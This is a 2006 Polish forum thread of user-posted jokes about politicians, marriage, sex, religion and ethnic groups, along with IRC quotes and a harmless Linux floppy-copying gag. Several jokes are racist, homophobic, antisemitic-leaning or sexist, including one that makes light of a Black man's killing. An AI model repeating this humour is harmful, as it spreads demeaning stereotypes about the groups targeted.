na karku,ale jeszcze nigdy nie była mężatką. Była za to podziwiana przez wszystkich
parafian za swą dobroć i oddanie sprawom kościoła.Pewnego razu wpadł do niej
pastor omówić szczegóły jakiejś kościelnej uroczystości.
Pani Stasia
zaprosiła duchownego do pokoju gościnnego i zaoferowała mu
herbatkę.Pastor usiadł sobie wygodnie w stylowym fotelu, tak, że przed nim
stały stare organy Pani Stasi. Ku wielkiemu zdziwieniu pastora, na organach tych
stała szklanka wypełnioną wodą, a co jeszcze bardziej zaniepokoiło pastora
to fakt, że w szklance tej pływała prezerwatywa. Jak Pani Stasia
wróciła z herbatką zaczęła się rozmowa. Pastor chciał jakoś delikatnie zaczął rozmowę
o szklance wody i kondomie w niej pływającym, ale mu się nie udawało,więc postanowił zapytać wprost:
- Pani Stasiu, bardzo bym był rad by mi pani to wytłumaczyła
-tu wskazał na nieszczęsna szklankę.
- Ooo tak, dobrze, że pastor pyta. Czyż to nie wspaniałe?
Szłam sobie raz przykościelnym parkiem parę miesięcy temu i
znalazłam tą małą paczuszkę na ziemi. Instrukcja na opakowaniu wyraźnie
mówiła,że należy umieścić na organie, zapewnić by było wilgotne to ochroni
przed roznoszeniem się chorób. I wie pastor co ? ... przez całą zimę nie miałam przeziębienia.

Anja - 24-01-2006, 15:27

Premier Miller odwiedza wzorowe gospodarstwo rolne. Gdy znalazł się w chlewni, pośród stada dorodnych świń, towarzyszący grupie oficjeli fotoreporterzy natychmiast strzelają fotki. Na to Miller:
- Żeby mi tam nie było jakiegoś głupiego podpisu pod zdjęciem! Typu "Miller i świnie" czy coś takiego.
- Ależ skąd panie Premierze! - odpowiadają reporterzy. Wszystko będzie cacy.
Nazajutrz ukazuje się gazeta ze zdjęciem Millera wśród świn, podpis:
"Miller (drugi od lewej)".

maczaty - 25-01-2006, 12:29

Dzwoni Sasza z Leningradu do Fiodora na Syberię:
- Ty, stary, słyszałem, że u Was tęga zima.
- Jaka tam tęga, raptem -25 - odpowiada Fiodor.
- Tak? A ja słyszałem w telewizji, że -60 - rzecze Sasza.
- A, chyba że na dworze...

Mania - 26-01-2006, 10:44

Mrozow ciag dalszy:

Zima 1941 roku front wschodni. Mróz, piździ, jak nie przymierzając dzisiaj
w Suwałkach. Z płonącego czołgu wyskakuje Niemiec i pada na ziemię.
Leży. Po chwili wstaje i wskakuje z powrotem do płonącego czołgu.....

Mania

Anja - 26-01-2006, 10:51

"Metro":


Stary imłody Idianin uciekają przed kowbojami, uciekają kilka dni. Wreszcie stary wojownik mówi do młodego:
- Musimy wejść na drzewo i przeczekać, aż pościg zgubi nasz slad.
Weszli na drzewo i czekają... Jeden dzień, drugi, az młody wojownik mówi:
- Wodzu, puśćmy sie już.
- Nie możemy, bo nas zabiją, poczekajmy jeszcze troche.
Za dwa dni:
- Wodzu, puśćmy sie już.
- Jeszcze nie, nie możemy.
- No to chociaż konie puśćmy!

agrest - 26-01-2006, 11:16

znalezione w sieci:

<Hrumque> dzisiaj pytam matki co robi bo nogi jej tylko wystawaly z szafki...
<Hrumque> a ona na to "googluje za opiekaczem"

Thu, 19 Jan 2006, 12:15:20

<sanchez> biegnie sobie jezus po jeziorze i krzyczy "tato tato, daj poplywac!"
<o_O> to chyba bylo na slasku...

Thu, 19 Jan 2006, 12:15:12

<m>a ja nie mam żadnego antywirusa i jest mi dobrze
<d>hmm, to Twój komputer jest jak Carlsberg
<m>...?
<d>everyone's invited :D

Thu, 19 Jan 2006, 12:14:45

<wirus_> wlasnie poprawiam cv mojej wspolokatorki
<wirus_> napisala w innych umiejetnosciach: obsluga pakietu office
<wirus_> a jak wlaczylem znaki niedrukowane to wygladalo to tak jakby przeszlo przez to cv armia mrowek, ktora spotkala inna armie mrowek i stoczyly batalie, a po niej zostawily wszystkie trupy na papierze.

Tue, 17 Jan 2006, 09:33:12

<jolka> chcialam sie was poradzic
<jolka> slyszalam ze mozna hamowac silnikiem
<bear> ano mozna
<jolka> czym sie wlacza hamulec silnikowy w seicento?

Tue, 17 Jan 2006, 09:33:04

<KeFFir> wiecie kto odkryl ameryke?
<Alan> Chuck Norris?

Mon, 16 Jan 2006, 06:00:31

<bober> jak nazwać policjanta wynurzającego sie z mgły?
<lex> ...
<malllaa> ?
<bober> dog in the fog :)


Pozdrowka
J.

Garnett - 26-01-2006, 21:14

Donald Tusk po śmierci trafił do nieba.
U bram niebios spotyka św. Piotra, który go oprowadza po niebie.
Tuska bardzo zaciekawiły zegary rozmieszczone w ogromnej ilości po
całym niebie. Pyta się więc św. Piotra:
- Co to są za zegary i czemu wskazują różne godziny
- Widzisz Donaldzie- odpowiada św.Piotr
- Każdy człowiek ma taki zegar, którego wskazówki przesuwają się do
przodu z każdym kłamstwem. Z chwilą urodzin zegar każdego człowieka
wskazuje godzinę 12. Widzisz tu na przykład jest zegar Matki Teresy,
który wciąż wskazuje godzinę 12.
- A gdzie są zegary Kaczyńskich ?
- Ich zegary robią za wentylatory w holu głównym....!

apis77 - 26-01-2006, 21:22

Gej po śmierci trafia do bram nieba. Piotr po przeglądzie listy
stwierdza:
- Ok! To teraz pójdziesz za mną.
Gej posłusznie idzie. Przeszli spory kawałek, doszli nad olbrzymi kanion,
przez który prowadził most. Weszli na most, a na jego środku Piotr
zatrzymuje ich i mówi:
- Teraz masz tu zrobić stolca do tego kanionu!
Gejowi szczena opadła, ale dobra, skoro Piotr tak każe... Kuca, robi
swoje.
Idą dalej. Kolejny kanion, Piotr znów każe robić to samo.
Na to gej:
- Ej no bez jaj! 15 min temu waliłem kloca! Nie dam teraz rady!
- Czyń swoją powinność mówię! - zagrzmiał Piotr. Gej się trochę
wystraszył,
przykucnął, postękał, pojękał, w końcu wydusił kilka bobków Idą dalej.
Kolejny kanion. Gej już z taką nieciekawą miną wchodzi na most i
oczywiście
Piotr znów swoje... Na to gej:
- Słuchaj. Ja nie wiem czy to jakiś rodzaj czyśćca czy co, ale na prawdę
nie dam już rady. Poprzednim razem wyrzuciłem z siebie resztki.
Proszę, zlituj się!
- Nie ma mowy! Albo walisz kloca albo odsyłam Cię do piekła!
Gej ze zmarnioną miną, zwątpiony przykuca, stęka, jęczy, stęka, męczy się
15 minut, 30 minut, godzinę, w końcu udało mu się zrobić jakiegoś bobka.
Gdy Piotr to zobaczył powiedział do Geja:
- I zapamiętaj sobie, ze właśnie do TEGO służy dupa!!!

Mario - 01-02-2006, 13:07

Czasami wychodzi lepiej niż planujesz pomyślał mąż, gdy rzucił
młotkiem w kota, a trafił w żonę.

agrest - 01-02-2006, 15:07

moze juz bylo ale co tam...

Przy piwku trzech kolesi dzieli się wrażeniami z ostatnich popijawek:
- Jezu, tak się narżnąłem - mówi pierwszy - że jak otworzyłem rano oczy,
to
patrzę - dom mój. Spoglądam niżej - garaż mój tylko samochód w garażu
inny.
Okazało się, że cudzym przyjechałem.
- To nic - mówi drugi - Budzę się rano otwieram oczy patrzę żona. OK
myślę
odwracam się na drugi bok, a tu jakaś laska. Tak się dzień wcześniej
nawaliłem, że dupę z baru do własnego, małżeńskiego łoża zaciągnąłem.
- A ja - smętnie mówi trzeci - otwieram oczy, patrzę leżę na trawniku,
bez majtek, ch.. mi stoi jak maczuga, a na nim siedzi ogromna czarna
wrona
i
dziobie mnie w jajca. ...A ja miałem tak sucho w ryju,
że nawet "sioo ty kurwo" nie mogłem powiedzieć...


Dzieki Malynka.

wrobel.cwirek - 01-02-2006, 15:51

Rosjanin w dyskotece ma na koszulce napis: "Turcy maja 3 problemy".
Podchodzi do niego wielki Turek i mowi:
- Teraz, to Ty masz problem!
A Rusek:
- No wlasnie, to jest wasz pierwszy problem - wszystko przyjmujecie jako osobista obraze!
Turek sie wkuzyl i polazl.
Rusek wychodzi z dyskoteki, a tam juz na niego czeka caly turecki "komitet powitalny" i wczesniej spotkany Turek mowi:
- No teraz to masz problem.
A Rosjanin:
- To jest wasz drugi problem - nic nie umiecie zalatwic po mesku - jeden na jednego, tylko rodzinke zbieracie.
Turcy wrurzenie na maksa wyciagaja noze, a Rosjanin:
- A to jest wasz trzeci problem - na strzelanine noze przynosicie...

tsharny - 02-02-2006, 13:47

Kierownik - sekretarce: Pani Zosiu, czy moze Pani przegrac naszym partnerom wyniki za
kwiecien, oni zaraz podejda.
- Dzien dobry, czy to Panom mam przegrac wyniki miesieczne?
- Dzien dobry, tak, nam, gdyby byla Pani uprzejma, tu mamy czysta dyskiete.
- Alez oczywiscie
Wstawia dyskiete do napedu i...
# mkfs -t vfat -c /dev/fd0h1440
# mount -t vfat -o iocharset=iso8859-2,codepage=852 /dev/fd0 /mnt/floppy
# find / -noleaf -type f -name Wyniki_Kwiecień.[a-zA-Z] -exec cp '{ }' /mnt/floppy \;
# ls -la /mnt/floppy/Wyniki_Kwiecień.[a-z][A-Z] && sync && sleep 3
wyciaga dyskiete i podaje.
Partnerzy: o kur.a
Sekretarka: oj kur.a, znowu odmountowac zapomniałam

[ Dodano: 02-02-2006, 17:17 ]
- jak wygenerwować losowy ciąg znaków ?
- posadzić nowego usera przed vi i kazać mu wyjść z edytora.

Pitt_M - 02-02-2006, 17:17

:?: :?: :?: :oops:
wrobel.cwirek - 02-02-2006, 18:34

hehe
bann - 03-02-2006, 11:23

- Ilu programistów potrzeba, aby wymienić żarówkę?
- Ani jednego. To wygląda na problem sprzętowy.

********

- Janek chodź napijesz się ze mną wódeczki.
- Ależ tato!
- No co? Ja ci pomogłem lekcje odrobić.

********

Idzie Ahmed a przed nim jego żona.
- Ej, Ahmed, Allah nie tak uczył! W Koranie napisano, że żona musi chodzić z tyłu za mężem!
- Kiedy pisali Koran, nie było przeciwpiechotnych min. Naprzód Fatima, naprzód...

********

Mówią, że Szkot jest skąpy, a przed chwilą widziałem sąsiada Szkota jak niósł do analizy dwa pełne wiadra moczu.
- A niech tam niech wiedzą, że mam gest.
Po kilku godzinach, ten sam Szkot niesie oba pełne wiadra z powrotem.
- Co się stało - pyta sąsiad:
- Znaleźli cukier!

********

Małżenstwo z dwudziestoletnim stażem: żona krzata się w kuchni, mąż
cos naprawia. W pewnej chwili maż woła:
- Stara! Chodz na chwile!
- Co?
- Potrzymaj ten drucik.
Żona posłusznie chwyta kabelek, po czym pyta:
- I co?
- Nic, widocznie faza jest w tym drugim...

Efraim Ryba - 06-02-2006, 08:41

tradycyjnie już z funiastych ( www.funiaste.net ):

Poszedl facet do lasu. Tak lazil i lazil, ze w koncu zabladzil. Chodzi
wiec po lesie i krzyczy. W pewnym momencie cos go szturcha z tylu w ramie.
Odwraca glowe, patrzy, a tu stoi wielki niedzwiedz, rozespany, wk****ony,
piana z pyska mu leci i mówi:
- Co tu robisz?
- Zgubilem sie - odpowiada facet
- Ale czego sie, k***a, tak drzesz? - pyta znowu wsciekly niedzwiedz
- Bo moze ktos uslyszy i mi pomoze. - mówi gosc
- No to, k***a, ja uslyszalem. Pomoglo ci?

agrest - 06-02-2006, 11:46

Stare ale moze ktos nie slyszal tych "cennych uwag" ;-)

1. Kobiety ustalają zasady.
2. Zasady mogą być zmieniane przez kobiety bez uprzedzenia.
3. Żaden mężczyzna nie może znać wszystkich zasad. Próby zapisania zasad są niedozwolone.
4. Jeśli kobieta podejrzewa, że mężczyzna poznał kilka lub wszystkie zasady, musi natychmiast zmienić kilka lub wszystkie zasady.
5. Kobieta nigdy się nie myli.
6. Jeśli kobieta się myli, to z powodu straszliwego nieporozumienia, które jest skutkiem tego co mężczyzna zrobił, powiedział, nie zrobił lub nie powiedział.
7. Jeśli mamy do czynienia z zasadą 6 to mężczyzna musi natychmiast przeprosić za to, że był przyczyną nieporozumienia, bez żadnych wyjaśnień ze strony kobiety, co zrobił, że spowodował nieporozumienie. Patrz zasada 13.
8. Kobieta może zmienić zdanie w każdej chwili i z każdego powodu lub w ogóle bez powodu.
9. Mężczyzna nigdy nie może zmieniać zdania nawet pod wpływem okoliczności bez wyraźnego pisemnego pozwolenia kobiety, które jest wydawane tylko w przypadku gdy kobieta chce, aby mężczyzna zmienił zdanie, ale nie daje żadnych oznak takiego życzenia. Patrz zasady 6,7,12,13.
10. Kobieta ma prawo być zła i wyprowadzona z równowagi z każdego powodu, prawdziwego lub wymyślonego, o każdej porze i w każdych okolicznościach jakie, w swej jedynie słusznej ocenie uzna za stosowne. Mężczyzna nie może dostać żadnych wskazówek dlaczego kobieta jest zła, lub co ją wyprowadziło z równowagi. Kobieta może jednak podawać fałszywe lub mylne powody, aby sprawdzić czy mężczyzna słucha jej uważnie. Patrz zasada 13.
11. Mężczyzna musi być spokojny przez cały czas, chyba że kobieta chce aby był zły albo zdenerwowany.
12. Kobieta może bez powodu dać znak lub wskazówkę dlaczego chce, aby on był zły lub zdenerwowany.
13. Mężczyzna powinien przez cały czas czytać w myślach kobiety. Niespełnienie tego powoduje karę i sankcje nałożone według jedynie słusznego uznania kobiety.
14. Kobieta może w każdej chwili i z każdego powodu, przywołać każde wydarzenie z przeszłości bez względu na czasowy i przestrzenny dystans, zmodyfikować je, wyolbrzymić, upiększyć, albo całkowicie przerobić, aby pokazać mężczyźnie, że jest albo był: nieczuły, uparty, tępy, oszukańczy, że się mylił lub/i jest niedorozwiniętym umysłowo idiotą.
15. Kobieta może użyć swej interpretacji wszystkich minionych wydarzeń, aby zademonstrować sposób w jaki mężczyzna zawiódł w okazywaniu jej uwagi, szacunku, poświecenia albo w zaspokajaniu jej potrzeb materialnych, mężczyzna poświęcał cala uwagę innym kobietom, zwierzętom domowym, zwierzętom gospodarskim, drużynom sportowym, samochodom, motorom, łodziom, samolotom lub współpracownikom. Takie przedstawienie sprawy jest nie do obalenia.
16. Jeśli kobieta jest w trakcie okresu, przed lub po, może zachowywać się jak tylko zechce, bez względu na logikę lub normy społeczne.
17. Każdy czyn, działanie, słowo, wyrażenie, wypowiedź, wydanie głosu, myśl, opinia, wiara mężczyzny podlega jedynie słusznej, obiektywnej interpretacji kobiety. Inne zewnętrzne czynniki nie są brane pod uwagę. Alibi, wymówki, wyjaśnienia, obrony, powody, usprawiedliwienia lub próby racjonalnego wyjaśnienia nie są mile widziane. Nędzne prośby o litość i przebaczenie są akceptowane w pewnych okolicznościach, zwłaszcza w połączeniu z namacalnym dowodem skruchy.

Pozdrowka
J.

Anja - 10-02-2006, 08:55

Co pan wiezie w tej torbie (do Szkota)?
- Papier toaletowy
- Ale czemu tak śmierdzi?
- Bo wiozę go do pralni...

[ Dodano: 10-02-2006, 10:29 ]
za zgodą Nevady:


Mąż: A może dla odmiany szybki numerek?
Żona: Odmiany od czego ...?
**********
Co mają wspólnego: kobiece gusta, toaleta i łechtaczka?
Mężczyźni zawsze trafiają obok.
**********
Jakie słowa potrafią zepsuć kobiecie najlepszy seks?
Kochanie! Wróciłem!
**********
Jak kobieta może się przekonać, czym jest życie bez mężczyzny?
Wychodząc za mąż.
**********
On: Dlaczego mi nie mówisz, kiedy masz orgazm?
Ona: Sorry, nigdy cię przy tym nie ma...
**********
Skąd wiadomo, że twój facet nie żyje?
Seks wygląda tak samo, ale jest mniej prasowania.
**********
Mąż: Może wypróbujemy dziś wieczorem inną pozycję?
Żona: Z przyjemnością... ty stań przy zlewie, a ja usiądę w fotelu z pilotem od telewizora.
**********
- Właśnie rozwiodłam się z mężem.
- Czemu?
- Mieliśmy nieporozumienia na tle religijnym. Uważał, że jest Bogiem.
**********
Czemu kawały o blondynkach są takie krótkie ?
Aby brunetki mogły je zapamiętać a mężczyźni zrozumieć.
**********
- Za moich czasów nieobecność na zajęciach mogła być usprawiedliwiona tylko w dwóch przypadkach: gdy umarł ktoś z rodziny lub choroba udokumentowana zwolnieniem lekarskim.
Z końca sali dobiega głos:
- Panie profesorze, a jeżeli ktoś jest skrajnie wyczerpany seksem?!
Cala sala wybucha śmiechem, a profesor po krótkim namyśle mówi:
- W twoim przypadku, to możesz po prostu pisać druga ręką.
**********
Przepraszam babciu - zadyszany przechodzień zatrzymuje starszą panią
- W jaki sposób mogę jak najszybciej dostać się do szpitala?
-Powiedz pan do mnie jeszcze raz babciu
**********
Przychodzi facet do seksuologa.
Ten go pyta: - Kiedy miał pan ostatnio stosunek ?
- Oj panie doktorze tak dawno, że nie pamiętam.
Zadzwonię do żony, może ona wie.
Wykręca numer i mówi:
- Zosia, kiedy ostatni raz uprawialiśmy seks?
- A kto mówi ?
**********
-Słuchaj Zenon, idziemy ze Staszkiem na ryby jutro,idziesz z nami?
-Eee, ja tam nigdy nie łowiłem, nie wiem, czy umiem...
-A co tu umieć? Nalewasz i pijesz.
_________________


pozycja na zabę:

ona leży.... jemy leży.... i ona rechocze.

Mania - 10-02-2006, 15:49
Temat postu: warto uczyc sie angielskiego...
Troche sie moze dlugo ladowac, ale poczekajcie....
http://www.zenadsl5692.zen.co.uk/WeAreSinking.swf

Przemek - 11-02-2006, 14:17

niestety 404..=\
bann - 12-02-2006, 21:09

z innego forum

Cytat:

kiwi to ptak a nie owoc


no fakt widzialem kiedys jak sie robi owoc kiwi... obcina sie nozki, glowke i skrzydelka takiemu ptaszkowi kiwi i mamy owoc kiwi

tsharny - 13-02-2006, 11:38

chyba na czasie :mrgreen:

Para zakochanych spaceruje po parku:
- Kochany, pocałuj mnie jak Romeo piękną Julię..
- To znaczy?
- Hmm... a może przytul jak Abelard swą Heloizę..
- a to jak?
- Jak?! Srak!! Czytałeś coś w ogóle?
- Tak, Naszą Szkapę. Ugryźć cię w dupę?

Grzyb - 14-02-2006, 13:35

Po podpisaniu paktu stabilizacyjnego.
W restauracji sejmowej siedzĹĄ Jarek, Romek i Andrzej.
- Co panom podać? - pyta kelner.
- Dla mnie... schabowy - rzuca Jarek.
- A przystawki? - indaguje kelner.
- A przystawki też zamawiajĹĄ schabowe, prawda chłopaki? - rzecze Jarek klepiĹĄc towarzyszy po plecach...

Pitt_M - 14-02-2006, 14:38

Wiecie jak wygląda Kaczyński w spodniach Giertycha :?:

Przez rozporek :!:

Mania - 14-02-2006, 14:51

Polska to jedyny kraj, ktory ma kopie zapasowa prezydenta i rzad sterowany radiowo
Mania

Efraim Ryba - 15-02-2006, 15:29

Mania napisał/a:
Polska to jedyny kraj, ktory ma kopie zapasowa prezydenta i rzad sterowany radiowo
Mania


To wcale nie jest zabawne. Mi od tego włosy siwiejĹĄ.

Kilka dni temu leciało sobie w telewizji (publicznej) z rana ”O dwóch takich co ukradli księżyc.”

Tam pada takie jedno, z pozoru niewinne zdanie wygłaszane przez któregoœ z bliŸniaków:
” jest nas dwóch. Ale gdybyœmy chcieli, byłoby nas dużo więcej...”

To przerażajĹĄca wizja

tsharny - 15-02-2006, 15:36

Egzamin na prawo jazdy. Egzaminator zadaje kursantowi pytanie:
- Ma pan skrzyżowanie równorzędne. Tu jest pan w samochodzie osobowym, tutaj
tramwaj a tu karetka na sygnale. Kto przejedzie pierwszy ?
- Motocyklista - odpowiada pytany.
- Panie, co pan wygadujesz - warczy zły egzaminator - Toż przecież mówię,
jest pan, tramwaj i karetka. Skąd wziął się motocyklista?
- A ch*j ich wie skąd oni się biorą...

Przemek - 16-02-2006, 18:18

Tak a propo kaczyńskiego:
kaczor.patrz.pl
=DDD

agrest - 21-02-2006, 15:20

Troche dowcipow na te mokre dni. Oby wyschlo do zlotu.


Dlaczego student jest podobny do psa?
- Bo jak mu sie zada jakies pytanie, to tak madrze patrzy...

Japonki to maja zajebiscie:
- wstaja rano i... znowu w kimono

P: Jaka jest najczesciej spotykana wada postawy u zonatych facetów?
O: Dupa na boku.

Malzenstwo z dwudziestoletnim stazem: zona krzata sie w kuchni, maz cos naprawia. W pewnej chwili maz wola:
- Stara! Chodz na chwile!
- Co?
- Potrzymaj ten drucik. Zona poslusznie chwyta kabelek, po czym pyta:
- I co?
- Nic, widocznie faza jest w tym drugim...

Dlaczego masz taka nieszczesliwa mine?
- Moja zona wyjezdza na tydzien do swojej matki.
- I z tego powodu jestes taki ponury?
- Musze, bo inaczej nie wyjedzie.

Zona do meza :
- Zobaczysz, przyczepie kartke nad naszym lózkiem, ze jestes idiota. Niech cale miasto sie dowie

Trzy fazy otylosci meskiej:
a) nie widac, jak wisi;
b) nie widac, jak stoi;
c) nie widac kto ciagnie.

Kolega dzwoni do kolegi:
- Wpadaj do mnie, sa dwie znajome, zabawimy sie!!
- ladne???
- Wypijemy, bedzie ok...

Nasze stosunki seksualne byly tak aktywne, ze po wszystkim nawet sasiedzi wychodzili zapalic.

Maz do zony:
- Masz ochote na szybki numerek?
- A sa jakies inne?


Pozdrowka
J.

Mania - 21-02-2006, 16:09

O! Ksiadz ma nowe buty. Zamszowe?
Nie. Za wlasne.

agrest - 21-02-2006, 17:53

a wlasne to nie zamszowe? :)
tsharny - 23-02-2006, 11:40

Kumpel do kumpla:
- Slyszalem ze masz nowa dziewczynę?
- Noooooo
- A fajna chociaż w lóżku?
- W sumie to nie wiem. Jedni mówią ze fajna inni że nie fajna.....

Noc poślubna:
- Kochanie dużo było ich przede mną?
Mija godzina, ona milczy
- Kochanie gniewasz się na mnie?
- Cicho liczę...

Facet w sexshopie
- Proszę mi pokazać tą dmuchaną lalę
- Proszę bardzo
- Kiedy ją wyprodukowano?
- W styczniu 2005
- E, to Koziorożec. Nie pasujemy do siebie.

[ Dodano: 23-02-2006, 12:57 ]
Toczy się sprawa w sądzie. Na kolejnego świadka zostaje wezwana sekretarka szefa: młoda, urocza, filigranowa blondynka.
- Czy wie pani, co panią czeka za składanie fałszywych zeznań? - pyta sędzia po przesłuchaniu kobiety.
- Tak - odpowiada z uśmiechem dziewczyna. - Szef coś mi wspominał o dwustu tysiącach dolarów i futrze z norek...

Biały szeryf w Alabamie odnajduje zwłoki czarnoskórego mężczyzny. Spostrzega dziesięć kul w głowie, dziesięć w sercu oraz kilka sztuk w żołądku i wątrobie. Mówi:
- Cholera, dwadzieścia lat szeryfowania, ale tak brutalnego samobójstwa jeszcze nie widziałem!

Rozgniewany mąż wraca z wywiadówki syna i wrzeszczy do żony:
- To właśnie jesteś cała ty! Wysyłasz mnie na wywiadówkę i nie informujesz, ile lat ma nasz syn i do której klasy chodzi!

W szpitalu urodziło się troje dzieci: Murzyniątko, krakowiak i warszawiak. Niestety, pielęgniarki pomieszały dzieci i gdy przyszedł pierwszy tatuś, a był nim facet z Krakowa, mówią, że nie potrafią ustalić ich tożsamości.
- Nie ma innego wyjścia: musi pan wybierać.
Facet po krótkim namyśle decyduje się na Murzyniątko.
Pielęgniarki: - Jest pan pewien?
Na to koleś: - Przecież nie będę ryzykował warszawiaka!

Pacjent budzi się po operacji. Stojący obok chirurg mówi: - Zabieg przebiegł pomyślnie, pana organizm jest bardzo silny. Ale nie rozumiem, dlaczego przed zabiegiem był pan taki niespokojny i wyrywał się pielęgniarkom?
- Bo ja tu przyszedłem zreperować kaloryfery...

Żona, wracając do domu z zakupów, zastała swojego męża w łóżku z piękną kobietą. W momencie gdy chce opuszczać dom, mąż zaczyna wyjaśniać:
- Zanim wyjdziesz, chciałbym, żebyś posłuchała, jak do tego wszystkiego doszło... Gdy jechałem z pracy do domu autostradą, w czasie wielkiej ulewy, zobaczyłem tę miłą dziewczynę, zmęczoną i przemoczoną, więc zaofiarowałem się, że ją podwiozę. Ale gdy zorientowałem się, że jest głodna i bez pieniędzy, przywiozłem ją do domu i przygotowałem jej posiłek. Na nogach miała bardzo zniszczone sandały, więc dałem jej parę twoich butów, których nie nosisz, bo wyszły z mody. Było jej zimno, więc dałem jej sweter, który kupiłem ci na urodziny, a którego nigdy nie włożyłaś, bo kolor ci nie odpowiadał. Jej spodnie były bardzo zniszczone, więc dałem jej parę twoich. Były jak nowe, ale już za małe dla ciebie. I w momencie gdy ta dziewczyna opuszczała nasz dom, zatrzymała się i zapytała ,,Czy jest jeszcze coś, czego twoja żona już więcej nie używa?''.

Wie pani, mój mąż jest taki uczuciowy. - Naprawdę?
- Tak. Kiedy zmywam naczynia w kuchni, on mówi: ,,Stara, zamknij drzwi. Nie mogę patrzeć na to, że się tak zapracowujesz''.

Idzie facet do rzeźnika i mówi:
- Proszę o rękę pana córki.
Na to rzeźnik: - A z kością czy bez?

Co to jest, leży pod brzózką i stęka?
- Sekretarka dyrektora Brzózki.

W bistro rozmawia dwóch młodych biznesmenów: - Podobno przyjąłeś do pracy nową sekretarkę?
- Owszem.
- I jesteś z niej zadowolony?
- Po pierwszym dniu trudno powiedzieć.
- Młoda, ładna?
- Taka sobie, niczego...
- A jak się ubiera?
- Szybko!

wrobel.cwirek - 24-02-2006, 09:14

tsharny napisał/a:
Pacjent budzi się po operacji. Stojący obok chirurg mówi: - Zabieg przebiegł pomyślnie, pana organizm jest bardzo silny. Ale nie rozumiem, dlaczego przed zabiegiem był pan taki niespokojny i wyrywał się pielęgniarkom?
- Bo ja tu przyszedłem zreperować kaloryfery...


Hej, jest lepszy:

Przychodzi facet do szpitala i mowi, ze chce sie wykastrowac. Ludzi zdziwieni, lekarze sie pytaja po kilka razy czy napewno. A on w zaparte, tak, tak, koniecznie. No wiec zrobili (a w zasadzie usuneli) operacje, facet sie budzi z narkozy i lekarz co mu to wycinal sie pyta: "a dlaczego wlasciwie pan chcial sie wykastrowac?", a gosciu na to "A bo poznalem peikna kobiete, ona jest Zydowka i chcemy sie pobrac, ale powiedziala, ze mam sie wykastrowac". A lekarz - "Chodzilo pewnie o obrzezac", a facet, "No tak, a to sie czyms rozni?"

Garnett - 24-02-2006, 10:35

Tadeusz Rydzyk w Toruniu mieszka,Czarną sukienkę ma ten koleżka.
Uczy, tłumaczy w radiu Maryja,Kto godny chwały a kto wręcz kija.
Żyda, Masona czuje z daleka,Wszystko w nich widzi - oprócz człowieka.
Glemp traci nerwy "Rydzyk, łobuzie",Tadzio z uśmiechem nadyma buzię.
Pieronek błaga "Daj na wstrzymanie", To on rozkręca nową kampanię.
Życiński prosi ", odpuść sobie",A Rydzyk: "Spadaj, co zechcę zrobię".
Rząd go popiera, prezydent chwali,Lepper z Giertychem pokłony wali.
Czuje się bosko jak w siódmym niebie,Do Sejmu wchodzi tak jak do siebie.
A gdy podskoczyć mu ktoś próbuje,Armię beretów mobilizuje.
Ich nie obchodzi co sądzi prasa, Że dla Rydzyka Bogiem jest kasa.
Mohery wielbią swego pasterza,Dla nich ważniejszy jest od Papieża

Efraim Ryba - 24-02-2006, 13:35

W ślad za ustanowionym becikowym partia rządząca i jej koalicjanci proponują co nastepuje:

ANTYKORUPCYJNE - dla urzędników państwowych zamiast łapówek i prowizji

FIGOWO-MAKOWE - dla wierzących w obietnice wyborcze

GRUSZKOWO-WIERZBOWE - dla głosujących na koalicję PO-PiS

JĘZYKOWE - na naukę angielskiego na poziomie wyższym niż yes, yes, yes...

KAMASZOWE - dla lekarzy, płatne przy poborze

MOHEROWE - na konserwacje i utrzymanie beretów w gotowości bojowej

OBRĄCZKOWE - dla myśliwych od każdej nieustrzelonej kaczki

PIELGRZYMKOWE - dla wszystkich chętnych.z 30-procentowym odpisem na Jasną Górę

POMOSTOWE - dla poszkodowanych w warszawskiej aferze mostowej

PRYCZOWE - zamiast trzech milionów mieszkań

RYDZYKOWE - dla grzybiarzy i słuchaczy Radia Maryja

WANNOWE - dla użytkowników wanien z hydromasażem

WIANKOWE - za dziewictwo do ślubu kościelnego

WAŁOWE - dla przyjaciół z Platformy

Anja - 24-02-2006, 15:41

Podczas odwiedzin znajomego w szpitalu psychiatrycznym, mezczyzna pyta doktora, jakie jest kryterium, ktore kwalifikuje pacjenta jako wyleczonego.
- Bardzo proste. - odparl lekarz - Napelniamy wanne woda i dajemy do wyboru lyzeczke do herbaty, filizanke i wiadro i kazemy oproznic wanne.
Wybralby Pan
* Lyzeczkę?
* Filizankę?
* Wiadro?
- Och, rozumiem. Osoba zdrowa na umysle wybralaby oczywiscie wiadro jako ze jest najwiekszym pojemnikiem!

- Nieee!! Osoba zdrowa na umysle wyciagnelaby korek!!



PS: nie musicie nikomu mowic jaka byla WASZA odpowiedz;-)))

Irula69 - 24-02-2006, 16:46

Dlaczego nie należy denerwować kobiety przed okresem


Gość chciał rozweselić żonę przebywającą właśnie te dni, zadając jej pytanie; Ile kobiet, ze stresem przedmiesiączkowym jest potrzebnych by wymienić przepaloną żarówkę? Odpowiedz żony brzmiała:

-Jedna! Tylko jedna! a wiesz dlaczego? ponieważ jest jeszcze ktoś w tym domu kto wie jak wymienic przepaloną żarówkę! wy mężczyźni byście się nawet nie zorientowali że jest przepalona! siedzielibyście w ciemnościach TRZY DNI, zanim byście zrozumieli, że coś a fee jest nie tak! A jeśli to już zrozumiecie, to nie jesteście w stanie znaleźć w domu zapasowej żarówki pomimo tego że od 17 lat są ZAWSZE w tej samej szafce! A jeżeli już stałby się CUD i w jakiś niewytłumaczalny sposób znajdziecie w końcu te a fee żarówki to przez dwa jebane dni problemem nie do pokonania będzie POSTAWIENIE KRZESŁA pod żyrandolem i wymienienie tej a fee ŻARÓWKI. Kolejne DWA kurewskie dni zajmie wam odstawienie tego jebanego krzesła z powrotem na miejsce! A w miejscu gdzie stało i tak na podłodze zostanie a fee pusty ZGNIECIONY KARTONIK PO wkręconej nowej żarówce bo wy nigdy a fee nie potraficie po sobie posprzątać! Gdyby nie my to byscie do usranej śmierci brneli po pachy w śmieciach i dopiero gdyby zginął wam a fee PILOT DO TELEWIZORA zatrudnilibyście pod hasłem: "AKCJA RATUNKOWA" całą a fee armie do tego jebanego sprzątania! I TAK a fee DO ZAJEBANIA! CAŁE ŻYCIE Z KRETYNAMI........

i tu nastąpiła chwila ciszy po której mąż usłyszał:

-Przepraszam kochanie o co pytałeś?

Adam Frajtak - 26-02-2006, 08:35

Siedzi lekarz na dyżurze. Skacowany, zniechęcony i zły, a to dopiero pierwsza godzina... Nagle rozlega się niecierpliwe pukanie, wpada pacjentka i zaczyna słowotok:
